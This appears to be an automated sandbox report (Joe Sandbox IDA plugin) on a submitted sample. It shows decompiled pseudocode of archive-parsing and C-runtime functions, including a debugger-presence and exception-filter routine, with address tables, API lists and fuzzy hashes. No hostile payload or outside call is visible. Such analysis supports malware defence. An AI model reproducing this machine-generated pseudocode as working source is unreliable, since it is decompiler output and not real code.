																	}
																	__eflags = _t680;
																	if(_t680 <= 0) {
																		_t681 = _t695 + 0x28;
																	} else {
																		 *(_t710 + 0x58) = _t695 + 0x1028;
																		E00242020(_t695 + 0x1028, _t680);
																		_t469 = E0024C582(_t710 + 0x24,  *(_t695 + 0x1028), _t680);
																		_t681 = _t695 + 0x28;
																		_t435 = E00263429(_t469, _t695 + 0x28, L"RR");
																		__eflags = _t435;
																		if(_t435 == 0) {
																			__eflags =  *((intOrPtr*)(_t695 + 0x102c)) - 0x14;
																			if( *((intOrPtr*)(_t695 + 0x102c)) >= 0x14) {
																				_t682 =  *( *(_t710 + 0x58));
																				asm("cdq");
																				_t609 =  *(_t682 + 0xb) & 0x000000ff;
																				asm("cdq");
																				_t611 = (_t609 << 8) + ( *(_t682 + 0xa) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t613 = (_t611 << 8) + ( *(_t682 + 9) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t475 = (_t613 << 8) + ( *(_t682 + 8) & 0x000000ff);
																				asm("adc esi, edx");
																				 *(_t523 + 0x21c0) = _t475 << 9;
																				 *(_t523 + 0x21c4) = ((((_t647 << 0x00000020 | _t609) << 0x8 << 0x00000020 | _t611) << 0x8 << 0x00000020 | _t613) << 0x8 << 0x00000020 | _t475) << 9;
																				 *0x272260();
																				_t480 = E0024FA2C( *(_t523 + 0x21c0),  *(_t523 + 0x21c4),  *((intOrPtr*)( *((intOrPtr*)( *_t523 + 0x14))))(), _t647);
																				 *(_t523 + 0x21c8) = _t480;
																				 *(_t710 + 0x58) = _t480;
																				_t481 = E0025E110(_t479, _t647, 0xc8, 0);
																				asm("adc edx, [ebx+0x21c4]");
																				_t435 = E0024FA2C(_t481 +  *(_t523 + 0x21c0), _t647, _t479, _t647);
																				_t620 =  *(_t710 + 0x58);
																				_t695 =  *(_t710 + 0x48);
																				_t681 =  *(_t710 + 0x50);
																				__eflags = _t435 - _t620;
																				if(_t435 > _t620) {
																					_t435 = _t620 + 1;
																					 *(_t523 + 0x21c8) = _t620 + 1;
																				}
																			}
																		}
																	}
																	_t436 = E00263429(_t435, _t681, L"CMT");
																	__eflags = _t436;
																	if(_t436 == 0) {
																		 *((char*)(_t523 + 0x6cb6)) = 1;
																	}
																} else {
																	_t681 = _t695 + 0x28;
																	 *_t681 = 0;
																	__eflags =  *(_t695 + 8) & 0x00000200;
																	if(( *(_t695 + 8) & 0x00000200) != 0) {
																		E00246B7C(_t710);
																		_t488 = E00263470(_t710 - 0x2030);
																		_t647 =  *(_t710 + 0x54);
																		_t489 = _t488 + 1;
																		__eflags = _t647 - _t489;
																		if(_t647 > _t489) {
																			__eflags = _t489 + _t710 - 0x2030;
																			E00246B8D(_t710, _t710 - 0x2030, _t647, _t489 + _t710 - 0x2030, _t647 - _t489, _t681, 0x800);
																		}
																		_t432 = 0;
																		__eflags = 0;
																	}
																	__eflags =  *_t681 - _t432;
																	if( *_t681 == _t432) {
																		_push(1);
																		_push(0x800);
																		_push(_t681);
																		_push(_t710 - 0x2030);
																		E0024FA82();
																	}
																	E0024207F(_t523, _t695);
																}
																__eflags =  *(_t695 + 8) & 0x00000400;
																if(( *(_t695 + 8) & 0x00000400) != 0) {
																	E0024C582(_t710 + 0x24, _t695 + 0x10a1, 8);
																}
																E00250BC0( *(_t710 + 0x18));
																__eflags =  *(_t695 + 8) & 0x00001000;
																if(( *(_t695 + 8) & 0x00001000) == 0) {
																	L112:
																	 *((intOrPtr*)(_t523 + 0x6ca8)) = E00243E3C( *((intOrPtr*)(_t523 + 0x6ca8)),  *(_t523 + 0x6cac),  *((intOrPtr*)(_t695 + 0x1058)),  *((intOrPtr*)(_t695 + 0x105c)), 0, 0);
																	 *(_t523 + 0x6cac) = _t647;
																	 *((char*)(_t710 + 0x20)) =  *(_t695 + 0x10f2);
																	_t441 = E0024C5D1(_t710 + 0x24,  *((intOrPtr*)(_t710 + 0x20)));
																	__eflags =  *_t695 - (_t441 & 0x0000ffff);
																	if( *_t695 != (_t441 & 0x0000ffff)) {
																		 *((char*)(_t523 + 0x6cc4)) = 1;
																		E00246F5B(0x27ff50, 1);
																		__eflags =  *((char*)(_t710 + 0x5f));
																		if(__eflags == 0) {
																			E00247032(__eflags, 0x1c, _t523 + 0x1e, _t681);
																		}
																	}
																	goto L121;
																} else {
																	_t446 = E0024C4EB(_t710 + 0x24);
																	 *((intOrPtr*)(_t710 + 4)) = _t523 + 0x32c0;
																	 *((intOrPtr*)(_t710 + 8)) = _t523 + 0x32c8;
																	 *((intOrPtr*)(_t710 + 0xc)) = _t523 + 0x32d0;
																	__eflags = 0;
																	_t696 = 0;
																	 *((intOrPtr*)(_t710 + 0x10)) = 0;
																	_t451 = _t446 & 0x0000ffff;
																	 *(_t710 + 0x4c) = 0;
																	 *(_t710 + 0x58) = _t451;
																	do {
																		_t593 = 3;
																		_t526 = _t451 >> _t593 - _t696 << 2;
																		__eflags = _t526 & 0x00000008;
																		if((_t526 & 0x00000008) == 0) {
																			goto L110;
																		}
																		__eflags =  *(_t710 + 4 + _t696 * 4);
																		if( *(_t710 + 4 + _t696 * 4) == 0) {
																			goto L110;
																		}
																		__eflags = _t696;
																		if(__eflags != 0) {
																			E00250BC0(E0024C520(_t710 + 0x24));
																		}
																		E002509EA( *(_t710 + 4 + _t696 * 4), _t647, __eflags, _t710 - 0x30);
																		__eflags = _t526 & 0x00000004;
																		if((_t526 & 0x00000004) != 0) {
																			_t249 = _t710 - 0x1c;
																			 *_t249 =  *(_t710 - 0x1c) + 1;
																			__eflags =  *_t249;
																		}
																		_t597 = 0;
																		 *(_t710 - 0x18) = 0;
																		_t527 = _t526 & 0x00000003;
																		__eflags = _t527;
																		if(_t527 <= 0) {
																			L109:
																			_t454 = _t597 * 0x64;
																			__eflags = _t454;
																			 *(_t710 - 0x18) = _t454;
																			E00250C1E( *(_t710 + 4 + _t696 * 4), _t647, _t710 - 0x30);
																			_t451 =  *(_t710 + 0x58);
																		} else {
																			_t457 = 3;
																			_t459 = _t457 - _t527 << 3;
																			__eflags = _t459;
																			 *(_t710 + 0x18) = _t459;
																			_t697 = _t459;
																			do {
																				_t462 = (E0024C4D3(_t710 + 0x24) & 0x000000ff) << _t697;
																				_t697 = _t697 + 8;
																				_t597 =  *(_t710 - 0x18) | _t462;
																				 *(_t710 - 0x18) = _t597;
																				_t527 = _t527 - 1;
																				__eflags = _t527;
																			} while (_t527 != 0);
																			_t696 =  *(_t710 + 0x4c);
																			goto L109;
																		}
																		L110:
																		_t696 = _t696 + 1;
																		 *(_t710 + 0x4c) = _t696;
																		__eflags = _t696 - 4;
																	} while (_t696 < 4);
																	_t523 =  *((intOrPtr*)(_t710 + 0x20));
																	_t695 =  *(_t710 + 0x48);
																	goto L112;
																}
															}
															_t676 = E0024C520(_t710 + 0x24);
															_t495 = E0024C520(_t710 + 0x24);
															__eflags =  *(_t710 + 0x54) - 0xffffffff;
															_t647 = _t495;
															if( *(_t710 + 0x54) != 0xffffffff) {
																L71:
																_t424 = 0;
																goto L73;
															}
															__eflags = _t647 - 0xffffffff;
															if(_t647 != 0xffffffff) {
																goto L71;
															}
															_t424 = 1;
															goto L73;
														}
													}
													__eflags = _t419 - 5;
													if(_t419 == 5) {
														goto L59;
													}
													__eflags = _t419 - 6;
													if(_t419 < 6) {
														 *(_t695 + 0x10fc) = 0;
													}
													goto L60;
												} else {
													_t655 = _t654 - 0xd;
													__eflags = _t655;
													if(_t655 == 0) {
														 *(_t695 + 0x109c) = 1;
														goto L55;
													}
													_t657 = _t655;
													__eflags = _t657;
													if(_t657 == 0) {
														 *(_t695 + 0x109c) = 2;
														goto L55;
													}
													_t658 = _t657 - 5;
													__eflags = _t658;
													if(_t658 == 0) {
														L52:
														 *(_t695 + 0x109c) = 3;
														goto L55;
													}
													__eflags = _t658 == 6;
													if(_t658 == 6) {
														goto L52;
													}
													 *(_t695 + 0x109c) = 4;
													goto L55;
												}
											}
											__eflags = _t569 & 0x00000010;
											if((_t569 & 0x00000010) == 0) {
												goto L39;
											}
											_t400 = 1;
											goto L40;
										}
										__eflags = _t569 & 0x00000010;
										if((_t569 & 0x00000010) == 0) {
											goto L35;
										} else {
											_t399 = 1;
											_t650 = 0;
											goto L36;
										}
									}
									__eflags = _t541 - 5;
									if(_t541 != 5) {
										goto L115;
									} else {
										memcpy(_t523 + 0x4590, _t523 + 0x21e4, _t541 << 2);
										_t660 =  *(_t523 + 0x4598);
										 *(_t523 + 0x45ac) =  *(_t523 + 0x4598) & 0x00000001;
										_t636 = _t660 >> 0x00000001 & 0x00000001;
										_t647 = _t660 >> 0x00000003 & 0x00000001;
										 *(_t523 + 0x45ad) = _t636;
										 *(_t523 + 0x45ae) = _t660 >> 0x00000002 & 0x00000001;
										 *(_t523 + 0x45af) = _t647;
										__eflags = _t636;
										if(_t636 != 0) {
											 *((intOrPtr*)(_t523 + 0x45a4)) = E0024C520(_t710 + 0x24);
										}
										__eflags =  *(_t523 + 0x45af);
										if( *(_t523 + 0x45af) != 0) {
											_t509 = E0024C4EB(_t710 + 0x24) & 0x0000ffff;
											 *(_t523 + 0x45a8) = _t509;
											 *(_t523 + 0x6cd8) = _t509;
										}
										goto L121;
									}
								}
								__eflags =  *(_t523 + 0x21ec) & 0x00000002;
								if(( *(_t523 + 0x21ec) & 0x00000002) != 0) {
									goto L20;
								}
								goto L23;
							}
							L20:
							_push(6);
							goto L24;
						} else {
							E0024203A(_t523);
							L133:
							E002415D1(_t710 + 0x24);
							 *[fs:0x0] =  *((intOrPtr*)(_t710 - 0xc));
							return  *((intOrPtr*)(_t710 + 0x1c));
						}
					}
					L8:
					E00243F40(_t523, _t647);
					goto L133;
				}
				_t647 =  *((intOrPtr*)(_t523 + 0x6cc0)) + _t664;
				asm("adc eax, ecx");
				_t719 =  *(_t523 + 0x6ca4);
				if(_t719 < 0 || _t719 <= 0 &&  *((intOrPtr*)(_t523 + 0x6ca0)) <= _t647) {
					goto L6;
				} else {
					 *((char*)(_t710 + 0x5f)) = 1;
					E00243DC9(_t523);
					 *0x272260(_t710 + 0x14, 8);
					if( *((intOrPtr*)( *((intOrPtr*)( *_t523 + 0xc))))() != 8) {
						goto L8;
					} else {
						_t709 = _t523 + 0x1024;
						E00246219(_t709, 0, 4,  *((intOrPtr*)(_t523 + 0x21bc)) + 0x5024, _t710 + 0x14, 0, 0, 0, 0);
						 *((intOrPtr*)(_t710 + 0x44)) = _t709;
						goto L7;
					}
				}
			}

0x002427d4
0x002427dd
0x002427e7
0x002427ee
0x002427f5
0x002427f8
0x00242801
0x00242804
0x00242807
0x0024280e
0x00242880
0x00242880
0x00242883
0x00242883
0x00242887
0x00242890
0x002428ac
0x002428b2
0x002428c1
0x002428c9
0x002428cf
0x002428da
0x002428e5
0x002428e8
0x002428ee
0x002428f4
0x002428f6
0x00242904
0x00242904
0x00242907
0x0024293c
0x00242909
0x00242909
0x00242909
0x0024290c
0x00242930
0x0024290e
0x0024290e
0x0024290e
0x00242911
0x00242924
0x00242913
0x00242913
0x00242916
0x00242918
0x00242918
0x00242916
0x00242911
0x0024290c
0x00242946
0x0024294c
0x00242952
0x00242955
0x0024295b
0x0024295e
0x00242969
0x0024296c
0x0024296d
0x00242970
0x00242990
0x00242996
0x0024299c
0x0024299f
0x002429a5
0x002429a8
0x002429ab
0x002430ce
0x002430d6
0x002430dd
0x002430e4
0x002430f1
0x00243103
0x00243108
0x0024310e
0x00243120
0x00243126
0x00243133
0x00243140
0x0024314d
0x00243153
0x00243155
0x00243162
0x00243164
0x00243164
0x00243165
0x00243165
0x00243171
0x00243181
0x00243181
0x00243184
0x0024318a
0x00243190
0x00243192
0x00243193
0x00243198
0x002431a0
0x002431a6
0x0024324a
0x0024324d
0x00000000
0x0024324d
0x002431ac
0x002431b2
0x002431b5
0x00000000
0x00000000
0x002431bb
0x002431be
0x00000000
0x00000000
0x002431c4
0x002431c7
0x0024321c
0x00243223
0x0024322a
0x0024322f
0x00243233
0x00000000
0x00000000
0x0024323c
0x00243241
0x00000000
0x00243241
0x002431c9
0x002431d0
0x00000000
0x00000000
0x002431d9
0x002431e7
0x002431e7
0x002431ea
0x002431f1
0x002431f9
0x002431fc
0x00243200
0x00243202
0x00243209
0x0024320d
0x00243210
0x00243213
0x00243213
0x00243213
0x00243218
0x0024321a
0x00000000
0x00000000
0x00000000
0x0024321a
0x00243157
0x00243159
0x00243160
0x00000000
0x00000000
0x00000000
0x00243160
0x002429b1
0x002430a4
0x002430a4
0x002430ae
0x002430bc
0x002430c2
0x002430c2
0x00000000
0x002430ae
0x002429b7
0x002429ba
0x00242a4e
0x00242a56
0x00242a65
0x00242a69
0x00242a6c
0x00242a73
0x00242a7c
0x00242a7e
0x00242a82
0x00242a88
0x00242a8d
0x00242a99
0x00242aa6
0x00242ab3
0x00242ab9
0x00242abc
0x00242ac9
0x00242ac9
0x00242ac9
0x00242acb
0x00242acd
0x00242acd
0x00242ad3
0x00242ad6
0x00242ae2
0x00242ae2
0x00242ae4
0x00242ae4
0x00242aef
0x00242af1
0x00242af6
0x00242afc
0x00242b02
0x00242b0b
0x00242b1b
0x00242b1b
0x00242b04
0x00242b04
0x00242b06
0x00242b06
0x00242b1d
0x00242b33
0x00242b39
0x00242b47
0x00242b52
0x00242b5d
0x00242b60
0x00242b72
0x00242b80
0x00242b8b
0x00242b9b
0x00242ba9
0x00242bac
0x00242bb1
0x00242bb4
0x00242bb7
0x00242bba
0x00242bbd
0x00242bbf
0x00242bc1
0x00242bc3
0x00242bc3
0x00242bc1
0x00242bcc
0x00242bd2
0x00242bd8
0x00242c1d
0x00242c1d
0x00242c20
0x00242c2a
0x00242c2c
0x00242c3e
0x00242c3e
0x00242c48
0x00242c48
0x00242c4e
0x00242c50
0x00242c5a
0x00242c5f
0x00242c61
0x00242c63
0x00242c6d
0x00242c6d
0x00242c5f
0x00242c74
0x00242c77
0x00242c83
0x00242c83
0x00000000
0x00242c79
0x00242c79
0x00242c7c
0x00000000
0x00000000
0x00242c80
0x00242c85
0x00242c85
0x00242c91
0x00242c91
0x00242c93
0x00242c99
0x00242cc7
0x00242ccb
0x00242ccd
0x00242ccf
0x00242ccf
0x00242ccf
0x00242cd2
0x00242cd2
0x00242cdd
0x00242ce3
0x00242cea
0x00242cf0
0x00242cf2
0x00242cf8
0x00242cff
0x00242d05
0x00242d0c
0x00242d12
0x00242d12
0x00242d18
0x00242d1b
0x00242d20
0x00242d23
0x00242d25
0x00242d27
0x00242d29
0x00242d29
0x00242d37
0x00242d3c
0x00242d3e
0x00242d42
0x00242d49
0x00242dca
0x00242dd4
0x00242ddf
0x00242de2
0x00242de9
0x00242deb
0x00242deb
0x00242deb
0x00242dee
0x00242df0
0x00242efc
0x00242df6
0x00242dff
0x00242e02
0x00242e11
0x00242e1b
0x00242e1f
0x00242e26
0x00242e28
0x00242e2e
0x00242e35
0x00242e3e
0x00242e44
0x00242e45
0x00242e51
0x00242e55
0x00242e5b
0x00242e5d
0x00242e65
0x00242e6b
0x00242e6d
0x00242e77
0x00242e79
0x00242e84
0x00242e8c
0x00242e97
0x00242eb3
0x00242ec3
0x00242ec9
0x00242ecc
0x00242ed7
0x00242edf
0x00242ee4
0x00242ee7
0x00242eea
0x00242eed
0x00242eef
0x00242ef1
0x00242ef4
0x00242ef4
0x00242eef
0x00242e35
0x00242e28
0x00242f05
0x00242f0c
0x00242f0e
0x00242f10
0x00242f10
0x00242d4b
0x00242d4d
0x00242d50
0x00242d53
0x00242d5a
0x00242d5f
0x00242d6b
0x00242d70
0x00242d73
0x00242d75
0x00242d77
0x00242d8a
0x00242d94
0x00242d94
0x00242d99
0x00242d99
0x00242d99
0x00242d9b
0x00242d9e
0x00242da0
0x00242da2
0x00242da7
0x00242dae
0x00242daf
0x00242daf
0x00242db7
0x00242db7
0x00242f17
0x00242f1e
0x00242f2c
0x00242f2c
0x00242f3a
0x00242f3f
0x00242f46
0x0024302a
0x0024304b
0x00243054
0x00243060
0x00243066
0x0024306e
0x00243070
0x0024307d
0x00243084
0x00243089
0x0024308d
0x0024309a
0x0024309a
0x0024308d
0x00000000
0x00242f4c
0x00242f4f
0x00242f5d
0x00242f66
0x00242f6f
0x00242f72
0x00242f74
0x00242f76
0x00242f79
0x00242f7b
0x00242f7e
0x00242f81
0x00242f83
0x00242f8b
0x00242f8d
0x00242f90
0x00000000
0x00000000
0x00242f96
0x00242f9b
0x00000000
0x00000000
0x00242f9d
0x00242f9f
0x00242fae
0x00242fae
0x00242fbb
0x00242fc0
0x00242fc3
0x00242fc5
0x00242fc5
0x00242fc5
0x00242fc5
0x00242fc8
0x00242fca
0x00242fcd
0x00242fcd
0x00242fd0
0x00243001
0x00243001
0x00243001
0x00243008
0x0024300f
0x00243014
0x00242fd2
0x00242fd4
0x00242fd7
0x00242fd7
0x00242fda
0x00242fdd
0x00242fdf
0x00242fec
0x00242fee
0x00242ff4
0x00242ff6
0x00242ff9
0x00242ff9
0x00242ff9
0x00242ffe
0x00000000
0x00242ffe
0x00243017
0x00243017
0x00243018
0x0024301b
0x0024301b
0x00243024
0x00243027
0x00000000
0x00243027
0x00242f46
0x00242ca6
0x00242ca8
0x00242cad
0x00242cb1
0x00242cb3
0x00242cc1
0x00242cc3
0x00000000
0x00242cc3
0x00242cb5
0x00242cb8
0x00000000
0x00000000
0x00242cbc
0x00000000
0x00242cbd
0x00242c77
0x00242c2e
0x00242c30
0x00000000
0x00000000
0x00242c32
0x00242c34
0x00242c36
0x00242c36
0x00000000
0x00242bda
0x00242bda
0x00242bda
0x00242bdd
0x00242c13
0x00000000
0x00242c13
0x00242be0
0x00242be0
0x00242be3
0x00242c07
0x00000000
0x00242c07
0x00242be5
0x00242be5
0x00242be8
0x00242bfb
0x00242bfb
0x00000000
0x00242bfb
0x00242bea
0x00242bed
0x00000000
0x00000000
0x00242bef
0x00000000
0x00242bef
0x00242bd8
0x00242ad8
0x00242adb
0x00000000
0x00000000
0x00242adf
0x00000000
0x00242adf
0x00242abe
0x00242ac1
0x00000000
0x00242ac3
0x00242ac3
0x00242ac5
0x00000000
0x00242ac5
0x00242ac1
0x002429c0
0x002429c3
0x00000000
0x002429c9
0x002429d5
0x002429dd
0x002429e5
0x002429f4
0x002429fc
0x002429ff
0x00242a05
0x00242a0b
0x00242a11
0x00242a13
0x00242a1d
0x00242a1d
0x00242a23
0x00242a2a
0x00242a38
0x00242a3b
0x00242a41
0x00242a41
0x00000000
0x00242a2a
0x002429c3
0x00242960
0x00242967
0x00000000
0x00000000
0x00000000
0x00242967
0x00242957
0x00242957
0x00000000
0x002428f8
0x002428fa
0x00243250
0x00243253
0x00243261
0x0024326c
0x0024326c
0x002428f6
0x00242892
0x00242894
0x00000000
0x00242894
0x00242818
0x0024281a
0x0024281c
0x00242822
0x00000000
0x0024282e
0x00242830
0x00242834
0x00242846
0x00242853
0x00000000
0x00242855
0x00242865
0x00242876
0x0024287b
0x00000000
0x0024287b
0x00242853

APIs

__EH_prolog.LIBCMT ref: 002427DD
_strlen.LIBCMT ref: 00242D6B

Part of subcall function 002512D6: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0024B592,00000000,?,?,?,000103E2), ref: 002512F2

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00242ECC

Strings

CMT, xrefs: 00242EFF

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: c89f7a4169f322da0100ed133beb81697bf06dfffae2590a7dd4b8007edbe2e1
Instruction ID: daf724a7e7579abab4e7ebd12b109d0bb4bf26d904e0bb428ac1f48341f0539c
Opcode Fuzzy Hash: c89f7a4169f322da0100ed133beb81697bf06dfffae2590a7dd4b8007edbe2e1
Instruction Fuzzy Hash: EA62F071920245CFCF1DDF28C8856EA3BE1AF54304F45457EFC8A8B282DA70A968CF60

Uniqueness

Uniqueness Score: -1.00%

Function 002684EF Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E002684EF(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x27d668; // 0xdef7aace
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E0025EF01(_t41);
					_pop(_t62);
				}
				E0025F1A0(_t67,  &_v804, 0, 0x50);
				E0025F1A0(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x1b
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -785
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E0025EF01(_t57);
				}
				return E0025EA8A(_v8 ^ _t70);
			}

0x002684ef
0x002684ef
0x002684ef
0x002684ef
0x002684fa
0x002684ff
0x00268501
0x00268509
0x0026850b
0x0026850e
0x00268513
0x00268513
0x0026851f
0x00268532
0x00268540
0x00268546
0x0026854c
0x00268552
0x00268558
0x0026855e
0x00268564
0x0026856a
0x00268570
0x00268576
0x0026857d
0x00268584
0x0026858b
0x00268592
0x00268599
0x002685a0
0x002685a1
0x002685aa
0x002685b0
0x002685b0
0x002685b3
0x002685b9
0x002685c6
0x002685cf
0x002685d8
0x002685e1
0x002685ef
0x002685f1
0x002685f7
0x00268606
0x00268612
0x00268615
0x0026861a
0x00268629

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 002685E7
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 002685F1
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 002685FE

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0ca724afb17e68d4b0d1671254f94283bcfb8d2b42bc557224a0f7fbb89dd288
Instruction ID: 60fe8bcd8cfa7b4b7bc39943f942818d36bfde2e9ae7f323122001d8ee62abeb
Opcode Fuzzy Hash: 0ca724afb17e68d4b0d1671254f94283bcfb8d2b42bc557224a0f7fbb89dd288
Instruction Fuzzy Hash: 1231D4749112189BCB21DF28DD8879CBBB8BF08310F5042EAE80CA7251EB309F958F54

Uniqueness

Uniqueness Score: -1.00%

Function 0026A928 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0026A928(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				intOrPtr _t102;
				signed int _t105;
				union _FINDEX_INFO_LEVELS _t106;
				void* _t111;
				intOrPtr _t112;
				void* _t113;
				signed int _t118;
				void* _t119;
				signed int _t120;
				void* _t121;
				void* _t122;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_push(__edi);
				_t105 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t105) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t105 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t111 = E00268429(_t85, _t78, 1);
					_pop(_t87);
					__eflags = _t105;
					if(_t105 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t105;
						_t40 = E0026E6E1(_t87, _t111 + _t105, _t78, _a4);
						_t120 = _t119 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E0026AB67(_a16, _t101, __eflags, _t111);
							E0026835E(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t105);
						_t75 = E0026E6E1(_t87, _t111, _t78, _a8);
						_t120 = _t119 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E002686C9();
							asm("int3");
							_t118 = _t120;
							_t121 = _t120 - 0x150;
							_t43 =  *0x27d668; // 0xdef7aace
							_v48 = _t43 ^ _t118;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t111);
							_t112 = _v332.cAlternateFileName;
							_push(_t105);
							_v372 = _t112;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t88 = E0026E730(_t79, _t88);
											continue;
										}
									}
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L19:
								_t106 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E0025F1A0(_t106,  &_v332, _t106, 0x140);
								_t122 = _t121 + 0xc;
								_t113 = FindFirstFileExA(_t79, _t106,  &_v332, _t106, _t106, _t106);
								_t55 = _v336;
								__eflags = _t113 - 0xffffffff;
